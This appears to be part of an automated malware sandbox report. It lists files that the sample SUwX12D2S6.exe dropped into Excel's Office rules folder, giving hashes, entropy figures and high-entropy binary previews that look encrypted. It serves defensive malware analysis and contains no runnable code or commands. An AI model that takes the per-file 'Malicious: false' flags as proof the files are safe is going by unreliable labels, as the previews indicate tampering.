G.:_[mh..u........}..v..h.3I.G.....e.e...N.zcEx.#.v.......b1.s...K!...)0.`.b.V%...u.I9v....e.X.........1;.O..Z....X...K.(y.S...a..BB5......f..}.-..%2.zn..{.Fq.....o...Q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70006v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.727924476415162
Encrypted:	false
SSDEEP:	12:M1rjuU0lzmXppsMJUKdIm1muz20h4rZLPLPnGwlMpEeWLZ2OmOsXBfjVcii9a:oCUOkppsSULEh4rZfPapRm7CR7VbD
MD5:	E9A7A97091527B8852309ECB27DAA1DA
SHA1:	51C03061063C2B7C287AC35F65407D3B10806420
SHA-256:	C280F40723F006075B61E68B89F7426AF0FF3DD0B4B2A49812A35E75F782E8B9
SHA-512:	E430DAB9995C1BEC608112CB422759881EDCC460DF549FA613E884209C727E6BE499EB2DA3F7B8DB05A7C03BB37620605C5B5C92CEFBAB9AFB1D2DC89859DDB2
Malicious:	false
Preview:	<?xmlb+m..f...?.<....+UV..V<....2..g..g.[.,...^...Q,y..f..n({Mz...@........2.Z.Y..dH....WQ..<.+_....oW...D..K..C.2........m^..I^!<...."V..Y......s.i....Gr.5.....A......x=.^2dP..&..]....6~.>.a.!<V.....7#t..~..:.....j... A.nd............orT....US!s.?FX..n....G......b..v...g.4@keW.......S9,+..U...r.v#.........F.>5S..y..,.f.2.(..7}.8..!S..x..C.$...y<..F...{..M.\|C."P/B.J..Z..8...Y...^)..j.7.%......k....\.o...0^H.(.......%M..3.....!g )).,.5K..F.....c.zM.m.<..(qc..b.gF...s.)'.....p.f.W.c..Q.)H.wq...-FR.?..K...;..T..eR....r.{K.U.#...*.&.....>.O....x.tb.$...Ct..^..<u .n....Z..]`..-w`..8o.;.=...3.%g}...k..9O.DO.x~.JJ....1.H....,2;.t,.c-R./^a..F...A.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700100v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.881642173882782
Encrypted:	false
SSDEEP:	48:X3fuFvOowsmgvE/KtRxGGX1M2ZxKQoYFHeFD:nWVOxh4E/0RxGGX1zGKF+9
MD5:	3E5B54F67442DF1490A772B02AEE2830
SHA1:	1712E86CC6E1B698E2EB2A616850565E7DAE1B0F
SHA-256:	4C0B01D7F85A07F1A20DE671FE5999C5286DBFAA4409074127D5D035C404EDF6
SHA-512:	2FD00BC4F22D432A5251B1020EB856B8FA867B9919103894B8EF827E58AB8D1451ACBC705D1965B5C626D4BB5D0E81F44A9E7DAB77D841617E8BFF68721C71E5
Malicious:	false
Preview:	<?xml..-.i.e{.Q......7.AwE..f.-C.-A.8s.k.f.=.W..~JXr.gA....N....U.I?....0..8--.yY.9..[...2^.8.^....C$.....F....mZi.]..$..u.n.......u.E.;o.......z.W9...?L...V.ed.sx2Z.L.x...z..Y.i..i..^Jo<D......y.M?d.F..J'...::.....R&.o-i:>...v.-...J.@ >...0...hn...o...G.fd.LF.3d"#.6q~..9<?....M]t.... .0O....E..N....Q.,+\..n"/X.........<wA..b..cF..}O.. ......K.........R...O.{E.5.W.B...w.`...l...?.y.3...P.......T..R..p...=..X.6.....OF.Sf..$.!I.X.T....[.z.C ...%Eg.#..&W..G.E-o.&!..I........c.LM..b9.kx!.%..G...t.s.Ce.`...E.dc..wZ>..q..>c9..8]...q.,.....u.3.Sh.._.l\....-.cC..?q..Zw]g.1..y_......r2.=#o.,..M.I....s`...4.9..u.!:..Y....`USl..Y.....fZc..,..F>\|&....F.}.n..e..Hso(.q..t?xTvF.k...HL.u....t.6x.-....\.]+.3..."..[.^.............2...,..r*....M...\...Ea..RN....=..L?Z.~...._dVp.l..\.B\|._.....s8'...X..(..J..ygdp...@. S.w..9U.h\|,..\.M5.e..i].=V.4.iY..`w.-.......L.......l.Drpv..y..p.3V.Z..]Q.mN..Ov...u....+..c_P../K....^U ...\|. 3..3C..y..eW...8....S....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700101v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.887298769612165
Encrypted:	false
SSDEEP:	48:SJEdkM2InsW/ndUt4UjiV0Hjaf4c/LbdKJskm3TINFD:6IkMHsW/Ot4UyoBcDgJsu9
MD5:	FF8AE09A98AB2630BF52A3009E4E2328
SHA1:	D742F5EE3047A1973BF9465CBBDFEB42FEA74530
SHA-256:	D2E9709DC5459A0FF8D178DFE59EAA3620F970DE8B48686CF9BC34099D0261F3
SHA-512:	250481F79020064D4875CC55B69420D28495F9F3BCC3B90A10344719148B6246EA97D88FA7139A2BD1BBC41B7739BA16771E114FAD2C42B7CE12B8DE271435D1
Malicious:	false
Preview:	<?xml....4..9..j.1...x...m....k...D.T ..V^.x..<;J.......y......h..40....y..<U..Y"\..Z." RO............f...Q..NDp...,...f,...\|c.d.N.a.co.;..Y..-(.T...,.gR.4..xVu.....7-\|.8.h{G=..CJX...~F.W..g..6.n.....6K..F.R.;...=......O!..h....?......q.fLg...(Xo......J.qTr..d`.N8..)...c.c.1_.`..;..H.i..~a...#..\|7....D..sh....I.=L}P..Q....,..xH.;....%..q.H..p.:`..0....Z..=MW....\.%.6....h..+.B...5.kf...t.'.H....Yj..L.o.I.{'..[...P.[[1.xk..E.EZ..q.".-.@...j.7..Hs..&4._..'..+R.G.=......d S#%......W....b....\|..l.NU.s....d.%e48..s.Ux...PM.>G..<.......$#.g..L8q.T...$....S..8.I\|~...D..\|.{..<.~1.j....p....@5.cc.u3.]....J^y..p.. ...........H1fH...y...S.(.....u. "i.A.......P...".&.M\.....x.H....Z...{}..l.f./$..5.E....w...&j7.'..;8..\....?.G..!.\......_...@....W........I...#bc.+.U.q.D.v.sLT..x'.ME..LO@....+d.]..........5....h....?..V....}=..........=s..S....=.x.M......6y..V\<.&.<........~..).F8.W:...N.`...> ..."*.T^X....d....z..:(8i.\|..L......uI5.6{Ys....PC.~....3.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700150v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.878915168130305
Encrypted:	false
SSDEEP:	48:bqpEqx+LuSnU6NkKgXrRG7tOljWQfae7p2yQFvVFD:bq+a+Lub6kK6soae9Uf9
MD5:	939D1A1526F981DD7428FF6B8E46E09C
SHA1:	A5F5FF6EDF23214E725A4287ADA66C495E568A25
SHA-256:	BC1E47F8367B7150D38AFC348CAACB8C84F86C364B873DC6EAA16C825F624BC5
SHA-512:	11D455D3DF6AFED90F84E49C9B8C70FA55F2130382620E3547E1FCD3442F709D7904D7607A1D48B709CD8384D0ED186B242524847839B6D9320BEAFC690C8AB3
Malicious:	false
Preview:	<?xml~2....9....{..4-.P.)..JV.@......w9.^]..H\.G.u...:..#.C...i.(...N..Ruy9........a[.#...Q.n.R.Kf......5;......\.a...W[.....y.....9...m.........\2y..l...K. .o.CYO.=..._.G1....F.Xx2..n.[.p!)r.W...L.75u..R"X.I....\...4s..4.1..f.\.....%G.;Lf.)t.nd.R'.%........4...B.g)....g.JWn..5(7tXma..R.......c.r.lj.".Ho..g...D...^..P.F..D.(zc....S.8p...fP.y........\|~......^..4-...p.....(...;.............E...1.....rC....}Z.. \|......W..dg....Z..^P..;}.W.w..egz..u....h.D4.p..$;{_........\..!...1..U;bF.i.!G...".h..1.......b.n.....!..mt}.....w;........>@$I9I<........sZ.....<a.\......j.$.....vs...x[...#...j.zG.9.%]Fod.K,]....?..'.f...N.i.6ik..z..gf......R.f.s.[...Mu.`.lz.....=....Lk.....d.66:-1.t....i....j...E.e_....5..e...B;....T.N7......F40E..)..i.....s.4:.....R....&u.........v.....v.N.n..F.`.....;yx.=lh..S...z...).%IO.W~z.X.f.E.<\[r..C....o3....2.kQ~N...,...!.E..cC..6..PNSs....s.y..\|.5...n`w..>..[.\|....<...aCgFn..)X..{..O.TZ..H9..s.5.. f4'=...f...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700151v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.882758297198739
Encrypted:	false
SSDEEP:	48:4K3fmXE/yX0+Yv0CZJQAkCukax0+AYaCi7UFD:4KvmXJX0bgAw3Gdh49
MD5:	00FB26EB56D267765A53CED1185A3A8A
SHA1:	F26AA3C63F8D1B38EF8BA2B3CAA0D45E521C1D7D
SHA-256:	B630F81371F46B73D90526DB7FB32DED123148A4A60E01EE29A43624EDCD7F7B
SHA-512:	657BBA790BF6486445822A57CB0931D790EBF2EECA9582241263C8E87D9516F2B80578D8334E4DF41CEC6665EBDF9D5B0AB34F1FA4C5D8453BA0FA1ACC9E2BB0
Malicious:	false
Preview:	<?xml.5..b,.Bb...\w...R3..<.....o..\|.K.8. Xn-.p~...~b.f..s.E.y..2.#}...h.'.......R...."......).z....?M....+.ogv#Y./yoHE.^..^.n....KfX..:.r......:........a.\...-.D~h..B.}...x.>..b>"...."...T4...p..AW.N.cX....;r.7..$w.'.6....$..G1.0....G..9..t..6c&...+.v.h.s:...-.?N...k...t.k......\|./..@..#.....v.8..f..s.............f^-?...[~.M..W..G..@W..#.(."o.I_.....m..c ......m..i....9.p<................z..g.v.o.B..+.u.....;pn...2.l.\.g..e..wy.Zs..~aL.F....Z.W...E....h...N.........nT.....JF........i...../..C......Q..J...u..K..8F(..W.u.._....H....K.mv.q..srl.U4@..+7:..sCaV&b.....m.;..L_y..D$.,+n1.....OsoFj7q.1....l$~..AfR.,3...@....o..`."....w. ..K...:%.....{.Um.....8...sjD/G..../m....K.l%.$.&.GW.w..kf....3..S......9..iV...~..#.....<p...'My(..#=..cV.........r.../.Cw.O.5r]...@,................GkP.......,a....?.^P..-.^:.o...q......3]..+7.............Y....>...g..n..ko...j.Q......i..Al.D.L...^p.[Q8......OHA....P.*.ua.P.Q...H......U...L..%.Lf1...o.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700200v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.867681795897749
Encrypted:	false
SSDEEP:	48:fwye+Kc88yOU2hUzyJ3khrT7DKafrDWJ3E3VFD:nY8lU2UE8rT7JfAc9
MD5:	536B106FE6E61B8FBFB6D7B2121D061C
SHA1:	CDB468ABEF24F51D1B9D87383CEB37E769F26C0D
SHA-256:	FD5D99A9C87923D8569E3FEF8F60EA48CF10DF34F6080FCF59F4E7EF5DA5761A
SHA-512:	F9E2556FF2DD8EA7D14A2C90903AC8E3DA45052D93EF206D1668D3C71D280CF469739E35C8605392ED5346DDA4960BE9AF414F61BF8ED4E161306F78839DAFA5
Malicious:	false
Preview:	<?xml4...\...e.t.W.....A...K..)..X..\.+=...]..KGn.\>7..%...J.9........../'.<2.u.OH~..E....G%.)Dm.....q.8-u.._.}....xk.\|...........I....1..r+.D..z..R.j.l.f.Y.O..../?.:h.$...]O..`..y......dZ.....l........E.s.i..-..._.WN...n....."c?!s.c..E.8ZG.....v?.E.S4G.(..!.......p..N.......-...}..h X.oe...I...6.........x../.G=S.xA.}.Hl ..P5.6....(l fY...e$..S....Y.Z...K."8........HG.q..>....BoN.\....' =..fHg...Dv-.M..$c..-......0...(5...2.~......07.i8........Y/..O..6.........#......M...........~..mlu~.0....v.@]i1.....^....`ZY...1>.?]..glm.k.;..OZ.o9. 3o.W.....7#%j..=..$.O...O..o........G..D.Vl2....o.X..sZ.%..&.l.zH.u...5..'g.%2.X...E.J)ZM8^....6p....<...KD[.+u^&.e...".s........].2C.$h.......I......q..].>g..1..x..^...5t....f..B.>....z.a!......[k.t.k..z.cV.?....$..%.....yA...~.=:..r....D.?]5...)%.:.p...bR#z!....p...xD.:.....gl.IJVf?.j.$~.~"O.]<..OM."J 8.....uu.mc.}..&.".0?v..i......0...L.F.YOO%n.....?.^.$..O9.9*J...o..T=I..K....R?..9X...).Q.%O.: ..s.Wr.i...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700201v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.874729967136494
Encrypted:	false
SSDEEP:	48:AiRu3xHhMgwYMMdzBH/3ySBCZ0ku2siTFIQL1NH2klRV0ktIZFD:QxHhMgwYMkH/iSBxkvsifL/2klRV0VZ9
MD5:	1A45F3754B16A3D7B8005DB288B7DE16
SHA1:	DD56E64A636D241EAA030EA394FD73D205A0F9AA
SHA-256:	8907942279635B1EFE683B6B383534B9E34CCD446A6B5383A7BA7018C657E1DD
SHA-512:	B25B2E69339D24459776FA5FAC892B5AB3BC629A72297C7450544C9B652204362884904A0E312A8C3C32D37074CAB99B1C66E6160986A885DF8FE7983CC7F830
Malicious:	false
Preview:	<?xml}Z:.rXx5m..._j.(5""f.i......r...5.0.3.~.Q.....\|.W,....P(.X..y.e#?.V.u5cB.I.\a_........Fn.xmt2.c.9.....9..&,..b.u.<.V...C=.....;S........g..d...q..vD....... ?.i.I...}..v..T.....[l.$'.N>$......L.U \..b..A(....\..v...........T..K{.......<.kR!......gF..?.Z...`p..m.(..G..0N.6dbrSy{gsnj...a..o....w.u.2...>...y-km.......dL?K3..a..:5...Q..#...o.%f.xV.OS...^..y..q[.9p..e.\...*.p.'..s.w)..>bqO..q....7Xu)@Z....G....6.v... (~.2.....Y......U7#bZqRe.K.... !.....s.+....]...D.mf..0]8.~.6l....E]..7..HL.W}a..w~'...<..~H.(.......S..O0.....g_U..3w7).g4..^8j..s..q...Q7...........0.K/h..T..=.G.d...f.ui.....^~...L..z.<...AY....P.y.Z..JZR.V..G.n!\X.D.-.../.^T.;l....l.x.k1.6.?"...a..E7.>x..k....]..Xn.{H.K.K..q.,..t.W.s. .,=.2f.U.9Y.O...iv...^.R.4.....o.jrE....5._^0%..Vw.%..~F.....Fb~ QmIV...co ..G.".>..\|.m..(Vc.EJ=.f.g.R[....g... ...X.V.9.....q.3.^v....D_=.U..w.!Zs..b\|..V..T.Hq..T.k.i.Q.`..a.zM.].. #.K..H'.z...5.po.0..U..+=..\|..U..T.jzU.ac.....\|...I!A^.7.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700250v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.878729608243846
Encrypted:	false
SSDEEP:	48:gfD5hM/V7UDM/uXCQSQRNiZ8bE4+5IXUHu/dPN4lt6jFD:elw5WyQJnbUgQ2Pqij9
MD5:	E32320EE2A1C069B869EFAE4EFDFCA02
SHA1:	43AAFE1FBE916939FC887021A6BB8531864A29EF
SHA-256:	B2468871419416E3EFEB73184E9C7F4FAF1BF007939D6C69DD43F8E42175EB68
SHA-512:	850378B9D9572E46E43C368B6987D8853D2ADD5E75F8D6D5EDE913E944BE737D5CB1322B3023C4390056E8E93995B48A99A1513A55493B2A9DEA53DFE4D24A26
Malicious:	false
Preview:	<?xml]..(...\..-.B)0..dC...'9..........7...P&......v....K....Ep.....Y...F<.yHWE...Srg:.."....kG\|..a!...T...&=.........Ag\Q.Qx......T.s..bK...fE4u.$..E.V....7.I..H.6R..VC.P..3.>{=...2....\.Nuu..N..;a..Q7......f?_.9i).~.t......BV..G...1...v..a1az.O]KRM...a..:.z2%.#...ZYv.V;....u........1T!..eyD.....0...j=..Y.....l.KC.f..K...E,n..V.....;...4?......m..].D`.3.z.U.?..#..&.(A...y.X...~...........l.w.G.].v..'N.T.....6..i}.,e..^.....=...Z_.o.!.R.n.A....../-4.G.8...#...>k}....@....R...\.o.E.n..>y.......A6.n...TV...T.... .m...t....o...G.Y..,..={<s...ov@..A"..-&...E\|..\|_..F....Ep....."..L....8.Q.C.f.E....f.Zn7..)..!...B!...%..{]..\...d.fq0...t........2#....@...l...1z.oy.C..h.B..md.{?...g....(..d...r.D....waq..P+.I..k...:L....1........s....r.)f.B.s..F....h........4h..Go..(v...K..\|o.oQ....w...o...9i.....#.....[-D...`..e.?.4%`.3.o\._.Z.\|.E5\.u.=.L.Mk.@.L.GP@.k ...=..a.99.xz...z.p.@.]...(...;...)8..._4.8...c'.(.'.)..A..W.{.w_..../&.....2../.... v.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700251v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.874327060059773
Encrypted:	false
SSDEEP:	48:6YbONCrvod6s4hvEDtq+clD4PFdwXg+HgoytUZCFD:6YbONMo499YVkcPFd5ptUw9
MD5:	6B482C395DB1BEA141B0F0DDDAA5128F
SHA1:	95271FFC8A579E9F52D7170A2C5004C69D3FDD0B
SHA-256:	2FA951B51CD7ADFFFB62D32E71FFD6A259E03F4CEBC142CBDFD74D8B43069E08
SHA-512:	7A110641E08FB50A8B0E8038F01E5BAA5E1631AF0E7FFD44BE45950DB5C6B82D07CAA017067E92766686F5A90DD904B839B38A53C541F265FACA122AFB3E760C
Malicious:	false
Preview:	<?xml.d.i=9#g....{.......8.5.t.......2a.6]..]7\.O.X.u.4hK..C.Ww......">.G..G&.4..d..H.....u._.....DN...._..F...\|B....J@FcH@x.~.V(..l.....[W.C\|.@..BO.R,.4....q..!T.!Wk...@...w..C..... ....K5$J...>.~+.H.T.v.&.3B..{.....)A9.T..H#lN}...0{. .'....c....Z_...85.....'.I.w..... 5..z..A.9....J...%n.8'.^?6..z.xh..b.sZ..H.F...w.......sB.R'Q.(.^.....lI.....7.=.......4......F$.....<..1.a....f....GG.+._.5......1.x..~(?(}...\3\.z..y.......V&<n........].s(4....)i..d....y....{..-[..Ob.~.O.$..o`{Z.....U.:Uc..H^uY...s.{..Q ..j...RR....'@.x.e.PO.I.........+<d@..D.Ql....h7..ZNQi.2Bx}.JV`q....L.Ta...d..I+....{.rT.).......E......B..p.j..g...Rm.2...#.8;.:9..I.1b....?..s.i.w....7.hL.z;.m..A#.U..p.%..4.'...34E$O>{5.km.......#..5.J...90.....JC...4....IB0.S*.E.....r&.). ..+.n.......e,./&ce.c.N..[p.k\|..>'..,].vc.O.~.7@..Y.......I.:.n....$.<% k....c..0.w..-.O(.c..".....#.M..b..._r........;.\g.mf.Ie....:......RjO..(9..a.H....=...Gz.s...\..,.Ms.:..;.c..V....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70025v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3225
Entropy (8bit):	7.93770393769821
Encrypted:	false
SSDEEP:	96:weK2KFg1YeFz0v1ixt9OUb8O/PkZRFEHEqM9:rKLReFYKOUYO/8Z4HA
MD5:	7DE07BFFC7628B5BCC3C45CB06BBBD5D
SHA1:	F024F47B52C86A35EF77B0D2B94EECC8D226E5A7
SHA-256:	90845677E93631ED40BFA68D5761F48DC16857C3A9C73AC5CF458C0C024A6892
SHA-512:	CFDD8E7E2052C88673BD18EEFF39A61178E0390FF85EF9EC95AF627217AAAA774951BE5E639EFE4AC0FAF8EC8093DCE8615AC10A1AD9A57D189220505ABB635F
Malicious:	false
Preview:	<?xml.m.-..9FTd....lAsU.6.`...zm....hl..<.....&Y.,V..R.B.f,.K]z..s.0.{..'d..R.s...a.).Hb.. ....mA..^..N.e1....\|N.B"...+.....t...v..Lt.}..iu..Zpyx.c_.Z...[.&...&./..z.I..<<f.mA.Y.[.p..\.;.n.jZ:.3.KZ.....NM.].6}.!...!.=a.....Y.N....n.d.r.(.+.-..y...F....M......_..l.Qg........Xi....<..)._.;..z.N...[4...G$....t.L.Na.t.&.!..7.&..^.D....E...{.E3I..V....E...f..H....\....69.'..@.O.....f..../e...~~a..Z*I{)..^..^.;.L..I.f.....S..2.p.....J.=...>..}f../.....-..ph..f....g&co."N..s5B3.{a.....+...e@.o.x..dU/!........<.._o..pf.+....K...r.,..uR ....430...m.Z.z......4.5q.....E.E.. ..vYn9p..ysE....30.#7..kX..hB...R...dsPH..."..w).T...d.b.Q?.^a..K.....Yd!..1..`.~_.^..U.s.+W.Sn...&.).cEG.;9.... ..~9TE.).%...,..}.?..q.K i.<...gy...8.w....!o8h.l...?.....n.t..E.....Y..H..U.c..7Nb3.....N^m..V.{...<9..........Te.......s(..v..!...T.d^.h...g..7@o....[....@$.kq..AM.co....T.{.k.fF`..4y{.g.-..s...c....b...T^g./.\|...v....:.$..;..F...d../.(k>.:...!&....q[. ...y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70027v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.778252510091759
Encrypted:	false
SSDEEP:	24:+Vhax2vxBtP6KjR3mI7trsnIHiiuHmLU9VbD:Ue2ZBLj1mINsnIomg9FD
MD5:	CA91D122286FF631FD606593CC008D81
SHA1:	DC664EFB8EEC41BA2D94A3F28CFFDD33AE2CEFBA
SHA-256:	B8F9C3EEA20744522ADA8AF7F588DA83F600CDE6E2A4E724938ABB64EDF639A5
SHA-512:	ECF3615D2445EE3B32038F5EC7C22D3361D0B391A5CCEABA707D2449D36E246F01EDEA8610B0E0F0F675E63AA1CF129ADAD4D856129B72D0E40B574CA8B815A2
Malicious:	false
Preview:	<?xml.................H..U4.B..&..HP....$^_....oYik...M.v....]G.y..8i..F...G..Q3.,C8....y..Q[$.OE.....\|+K....=..R.eg.01.Z....;.s[g#W....p{;...)M..?S..w...1..n...S............I.=...%`.2_;..rt..}.b..f.FC.N...:..L...)_.zh.....p.?...l.v..\|`...n..S'..l..d.%D.w....Z..n....P.A.O...].w......,(.G.Jm..o.tI3i...t.0D\XH..cz..'hNHn..'.....!Ut.G.bjp..H].ij3..v.....5...L.YR...&llx....;...9Y.......9.bSO.h....5..O/s.....M.jl..J..2.m.D..}....@n........e....R. B.o@.P......<....?W....\x...R....5.K... .....s?AVf(.Z.....5..._..}..O/..'..-..u.....D{..>.....!.:..4...Y^.....(L@...r.........E.#ZJ...4.....c. ..a..EG....`,.eo3..h:..\|.)....h$B...;=..9a...._...bn....}.....N..k..0....*iw.b..`...E.%.M.Ix..k1".`9.._.1.T..i>~5..-.V.....iG....1\|....v.P'.}.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70028v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	7.794432954247077
Encrypted:	false
SSDEEP:	24:Wh7u4ICzXTHHMr26Gsz2il6ey89ZKiBGs2RDXIQhR/b52VbD:auGzXTlhil6g6WMtXIQ/N2FD
MD5:	2AD58ED06E2D29482DE4A32A2F23D748
SHA1:	F9C9448976CC4DEC8269E09A5A2F3056BD55A38B
SHA-256:	B54349AB89CDACB603757143B7172FA569B4813F177CFAF41FEF95AA52DDC16A
SHA-512:	D6D55F788820111A504F2E4B6A0145DC2879379505F7938702BF750C1E2AB72F4D580336516729A02774C25F84FC03DA0CEC8DA104D1375412EB62F0D17D03EF
Malicious:	false
Preview:	<?xml...g..,..4G.K..m.G.Z..~..I.7..q....x.CA.M..B......t....:GYL..N.d...p..Z...E^.k.t..)..69..M'f..<.......!...P........o..2..{...G ....Cy.. ..-.....pU.......1.Y..at.%..5.VC.hI..AAU:)E.....<..Y.lj.R.;sW.4..9..Q.l.,t.....:'.{L.._.'.~E......Z)..I..7.y.}.cK.b.u.H..........".V..B..m`W..e.s.$..p./....\|....../\......R..[[.....Q..P......E..........76m.Q...Fm...$.....0.jB....+.EwD....DZU.v....R..7AQO.N..}.X.9.;.$....1.q.....z...O/..@..h...)..g......}Y.3..p.l.+...9.k.G...V.._$.........[vC.a..9......1..Z..X.......x[..`..7.....s....!.*.9..........pD...\|.._.......oA..$b*+.S...Ga./..'+Jw.A.I.$(...5 ............5I...`......d/l.!.Q......T?..w..._}......t........e.....5..K=.j.....o.<..1.@-...;.\|5.u-..a.k&.............z..)..i.0s.!...Y...........\|.'.QT.....!...N.t:>P}...()O.7.f.3,f.........p0..."zd...G...k....I...,V~/..:G(O.........7..."...%.t>.......WC.^.dQR...>.....k46.II..S/%:..Db.W...-$B..+"....(.X..~..=2d.....(b.u..w.'!.R2"..u.....B.=.V./.'.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70029v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.806054693873866
Encrypted:	false
SSDEEP:	24:8RecDTwcTaGz4igl4+0i2JyhTV0HbI1LAyzvetMiCLZNyyeopKVbD:cTAubtTup07WAyDetMiUaioFD
MD5:	F6FC31816902AF725547122F4ED773A1
SHA1:	4FA78FA3E981FC6F8257197F674952C25BD4F312
SHA-256:	9FD82314B81FCC6299EBA99FCADF6E14E6746D436972CF5860E5F9C95F553D24
SHA-512:	DA5B9CE355D973A78A8C492DAA5E4C6EA5B80E0248A6A4A2402C2017710D14E591D54A00C036F31C4B7820CB6B4A778A746057EE31D527D4C2FC2213E09DF628
Malicious:	false
Preview:	<?xml3.y7...>..G...{qk.f)3.wtU.$..i..6....:3.i.........{\u..........^C6{YP.n]15-..t.tO..1_.k...@..\|.....C....A..u..._..%~....2./>..>H..@mL.%...p......V\|.k..).Q..Jz(f.L-...l...gR ..]v......R`j..t.a.Y.aR.#.(?..x...f....(4. .x..?.tz....Q.....,.}..X..g....@.....P.M.p..E..h..gG..Wo.bc..6...U...1.....C.In..fK..{......K{7.`....'?U...m....A.y..c7....3........-R.M..#.,.~..I...x..p....j1n...y.{.QXBY..t.3..rp..p..Nq,..{..-...%"!;..V3........l.....Y....B.T..1.XIo....K.h..@~_%C.2...H?.....qiv......{y.%L...\|..d....g-.......p..\|...n7YC.@(.Kz....9..Ru...%CU...~.8l.~n. ..MK..7.....I........~....#....2.drY.[..v.....[.B.>L!z$.........`0....e......"...&.]h..J.D.G.X."'x.S...'.o..hM..9:.....d._u,f.Yc...Y.`.=.C.G.........l........n..N..B.....x....\|........,..................#DK.F..Ua..y.....#).V........b....bG..LV......i.....q.NIT....#}.?.$.3.g.&..C...e0-..~.&.zp.M....7.....d??.<B.L..{....V.<....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700300v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.867363704045386
Encrypted:	false
SSDEEP:	48:TZjjgaBq+1iOvnTU/apg7jjhmkseta01sbhP60FD:Nj1Bq+5nA17jjVsSa0ibhPp9
MD5:	57C0282E73FCBB6658539D10C11E382C
SHA1:	BDF2F6CE9D1DCDEF8065CDF20AA87BBD0BF52598
SHA-256:	F0FE63485E8066067D97B25C98C1618D70051FBBBDEEA9F6D3662629C2D49425
SHA-512:	9DE24278B6E97FEBF2291B1D2FDBD1B1FB1DBBF31D461305EA4030D3EF5D402260385D16E013C3660C651E88422C4D38BEB8B364EC32932F8B43B8CE675D2498
Malicious:	false
Preview:	<?xml(...xek........vhJ.(.j..J.ss.d@?..j...+{p2......w...........z.........Q1.....G..e.7....g.tBqQl.;=.a8Be`.[sS..M.H5...H[.......U.X.....n.K.N.^..a.....F.w...G.e.....#.2.[M...#.q.l.~A.e+U...KZ..`c..=.(..0..8.k.kq^.``.L...f`..f.h..Q..D...\...........x`.Q..3g\.^.l../.?rH7..C}..(&.z....{:^..8.[..J._..7.g.i.<.[]..M.I&...\|.h.[..&..t6E..k-.8.p...+.xd.../L.%.~..0..S>.h......e?......B....O......./....y.`.%99...RI.@NC.n..W>duN.........G...{..F.~.k...#.vq..@H.(U".Q.c..Y.3<.\.!.v.X.0..H...z.(.u6.S...ee5.....[...e}....m..M..)...m...Zm.6C....t..s/.`c..........4y....R.w......0.w....oY.H.q#?...Z.(.g.n.......L.Q....o.4{z6B......H.y..}gs...6%.7W.Q%VX.dQ.B.....Sn.....!.s.VG6&...c..R..~.Rd2#t...{.p...A..w.t.P.t.{Z=...~..0;.F.-..w!8.>Mn....&...T.i...R!=Sp.W.\|..(+.\|..Bzh....U....o.!.=...Gx.B... ...!ct2!.Oc.SCg5.B{.k.\|.a2..-.../}Wa....y...N..)............X.\...7.#.....l...f.pO..pJT&1g..d.l...<.b.D.a?..).T..H_.@...A......c.S.<..Y..F..5......#.7.D"

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700301v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.881306492422958
Encrypted:	false
